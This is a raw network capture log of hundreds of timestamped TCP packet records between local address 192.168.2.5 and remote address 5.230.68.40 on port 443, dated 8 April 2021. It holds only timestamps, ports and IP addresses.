Apr 8, 2021 18:46:40.546482086 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546511889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546528101 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546550989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546562910 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546591043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546643972 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546685934 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546726942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546763897 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546780109 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546808958 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.546809912 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546854019 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.546911001 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.566687107 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.566833019 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.566874027 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.566955090 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.566993952 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.567012072 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.567070961 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.567178011 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.567178965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.567250013 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.567307949 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.567367077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.567538977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.567594051 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.567600965 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.567790985 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.567861080 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.567931890 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568058968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568104982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568114996 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.568207979 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568248987 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568269014 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.568315983 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568372011 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.568388939 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568444967 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568497896 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.568511009 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568563938 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568610907 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568630934 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.568665981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568667889 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.568707943 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568743944 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568761110 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.568780899 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568806887 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.568820953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568851948 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568881035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568926096 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568941116 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.568969965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.568975925 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.569025993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569035053 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.569045067 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569066048 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569103956 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.569106102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569159985 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569204092 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.569211960 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569252968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569262981 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.569292068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569339991 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569358110 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.569410086 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569462061 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569469929 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.569541931 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569602013 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569657087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569700003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.569736958 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.569757938 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.590658903 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.590723038 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.590811968 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.590892076 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.590971947 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.590987921 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591052055 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591104984 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591131926 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.591170073 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591217041 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591232061 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.591270924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591312885 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591327906 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.591368914 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591423988 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591428995 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.591466904 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591504097 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591550112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591566086 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.591593027 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591629982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591666937 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591705084 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591734886 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.591757059 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591808081 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591846943 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591886997 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.591926098 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.591942072 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.591953993 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.591999054 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.592041016 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.592077971 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.592107058 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.592124939 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.592168093 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.592221022 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.593971014 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594069958 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.594105005 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594197989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594242096 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594278097 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594321966 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.594325066 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594343901 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.594368935 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594407082 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594424009 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.594465017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594510078 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594518900 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.594548941 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594587088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594594955 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.594624996 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594672918 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.594712973 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594753027 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594836950 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594858885 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.594892979 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.594974041 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.595060110 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.612500906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.612530947 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.612555981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.612615108 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.612653971 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.612673998 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.612698078 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.612711906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.612751007 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.612785101 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.612788916 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.612808943 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.612854004 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.612896919 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.612906933 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.612930059 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.612978935 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613002062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613025904 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.613029003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613058090 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.613061905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613081932 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613099098 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.613190889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613195896 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.613212109 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613238096 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613267899 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613276005 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.613286972 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613310099 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613333941 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613341093 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.613354921 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613368034 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613373995 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.613394976 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.613436937 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.613966942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.614039898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.614053965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.614078999 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.614097118 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.614126921 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.614136934 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.614217997 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.614239931 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.614264965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.614283085 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.614289999 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.614324093 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.614346981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.614546061 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.614588976 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.614603996 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.614615917 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.614644051 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.614984035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.614998102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.615015030 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.615027905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.615041018 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.615051985 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.615060091 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.615072012 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.615083933 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.615102053 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.632824898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.632865906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.632890940 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.632908106 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.632930994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.632950068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.632970095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.632966995 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633006096 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633008003 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633097887 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633138895 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633158922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633172035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633188009 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633197069 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633213043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633223057 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633233070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633249044 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633280039 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633299112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633302927 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633316994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633342028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633359909 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633363962 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633400917 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633415937 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633435011 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633452892 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633471966 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633521080 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633527040 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633594036 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633651018 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633670092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633690119 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633724928 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633812904 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633829117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633863926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633871078 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633882999 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633909941 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633929968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.633932114 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633963108 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.633980036 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634042978 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634054899 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634057999 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.634088993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634094000 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.634103060 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634119987 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634150028 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.634187937 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634320974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634433985 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634450912 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634464979 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634486914 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.634514093 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634515047 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.634623051 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634643078 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634675026 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.634692907 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.637285948 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.648926973 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.651070118 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.651117086 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.651146889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.651165009 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.651176929 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.651211977 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.652709007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.652729034 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.652748108 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.652760983 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.652774096 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.652812004 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.652842999 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.652899981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.652920961 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.652945995 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.652966022 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.652973890 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.652987957 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653008938 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653012037 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.653050900 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653064013 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.653110027 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653141022 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653165102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653194904 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.653233051 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.653260946 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653276920 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653301954 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653331041 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.653356075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653415918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653516054 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.653518915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653539896 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653564930 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.653603077 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.653611898 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.653619051 CEST	443	49727	5.230.68.40	192.168.2.5
